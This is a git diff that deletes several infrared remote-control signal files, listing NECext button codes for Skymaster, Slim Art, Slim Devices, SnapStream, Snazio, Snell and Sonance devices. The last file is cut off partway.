a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir deleted file mode 100644 index e47fda597..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 09 00 00 00 -# -name: sleep -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0B 00 00 00 -# -name: channel_up -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 10 00 00 00 -# -name: channel_next -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 10 00 00 00 -# -name: channel_down -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 11 00 00 00 -# -name: channel_prev -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 11 00 00 00 -# -name: vol_down -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 12 00 00 00 -# -name: vol_up -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 13 00 00 00 -# -name: video -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 14 00 00 00 -# -name: audio -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 15 00 00 00 -# -name: fav_main -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 16 00 00 00 -# -name: mute -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 17 00 00 00 -# -name: power -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 18 00 00 00 -# -name: store -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 19 00 00 00 -# -name: ext -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1A 00 00 00 -# -name: sys -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir deleted file mode 100644 index c69459c14..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 0B 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 0C 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 0D 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 0E 00 00 00 -# -name: audio_up -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 0F 00 00 00 -# -name: audio_down -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 10 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 11 00 00 00 -# -name: store -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 12 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 13 00 00 00 -# -name: aft -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 14 00 00 00 -# -name: rl -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 16 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 17 00 00 00 -# -name: ch_search -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 18 00 00 00 -# -name: lnb -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 19 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 1A 00 00 00 -# -name: hv -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 1B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 1C 00 00 00 -# -name: jump -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 1D 00 00 00 -# -name: auto_on -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 1F 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 35 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir deleted file mode 100644 index 57aeba4d4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: Intro -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: PBC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: Right_Arrow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: Up_Arrow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: Down_Arrow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: V-Mode -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: Left_Arrow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: #_Treble -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: Memory -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: Flat_Tone_Control -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: Program -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: A-Time -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: b_Bass -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: Still -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: Step -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir deleted file mode 100644 index fa511d197..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: Add -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0D 00 00 00 -# -name: Browse -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 11 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 12 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 13 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 14 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 16 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 17 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 19 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1A 00 00 00 -# -name: Shuffle -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1D 00 00 00 -# -name: NowPlaying -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1E 00 00 00 -# -name: Size -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1F 00 00 00 -# -name: Brightness -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 20 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir deleted file mode 100644 index 65401d24a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: Firefly -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_CLOSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir deleted file mode 100644 index a205c2e53..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 10 00 00 00 -# -name: ArrowRight -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 11 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 12 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 13 00 00 00 -# -name: ArrowUp -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 14 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 15 00 00 00 -# -name: ArrowDown -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 17 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 18 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 19 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1B 00 00 00 -# -name: ArrowLeft -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1D 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1E 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 40 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 41 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 42 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 43 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 44 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 45 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 46 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 47 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 48 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 49 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4A 00 00 00 -# -name: TvMode -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4B 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4E 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 50 00 00 00 -# -name: SlowFwd -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 51 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 52 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 53 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 54 00 00 00 -# -name: PausePlay -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 55 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 56 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 57 00 00 00 -# -name: Rev -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 58 00 00 00 -# -name: SlowRev -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 59 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5A 00 00 00 -# -name: AngleRotate -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5D 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5E 00 00 00 -# -name: Shuffle -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Snell/Speaker/80,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Snell/Speaker/80,0.ir deleted file mode 100644 index 4a6b79d5e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Snell/Speaker/80,0.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BASS_SHAPE_-_CINEMA -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 02 00 00 00 -# -name: BASS_SHAPE_-_REF. -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 03 00 00 00 -# -name: BASS_LEVEL_+4 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 04 00 00 00 -# -name: BASS_LEVEL_+6 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 07 00 00 00 -# -name: BASS_LEVEL_-4 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 08 00 00 00 -# -name: BASS_LEVEL_-6 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: BASS_LEVEL_+2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0F 00 00 00 -# -name: BASS_LEVEL_-2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 11 00 00 00 -# -name: BASS_LEVEL_0 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 13 00 00 00 -# -name: TREBLE_-_CUT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1E 00 00 00 -# -name: TREBLE_-_BOOST -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir deleted file mode 100644 index 13887255e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: LIGHT -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 00 00 00 00 -# -name: FUNCTION -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 02 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 03 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 04 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 06 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 07 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 09 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 0A 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 0B 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 0C 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 0E 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 0F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 11 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 12 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 13 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 14 00 00 00 -# -name: CD2 -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 15 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 16 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 17 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 18 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 19 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 1A 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 1C 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 00 5A 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sonance/System Controller/132,132.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sonance/System Controller/132,132.ir deleted file mode 100644 index 6eec5bab8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sonance/System Controller/132,132.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/SAT -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 01 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 02 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: 84 84 00 00 -command: 03 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 84 84 00 00 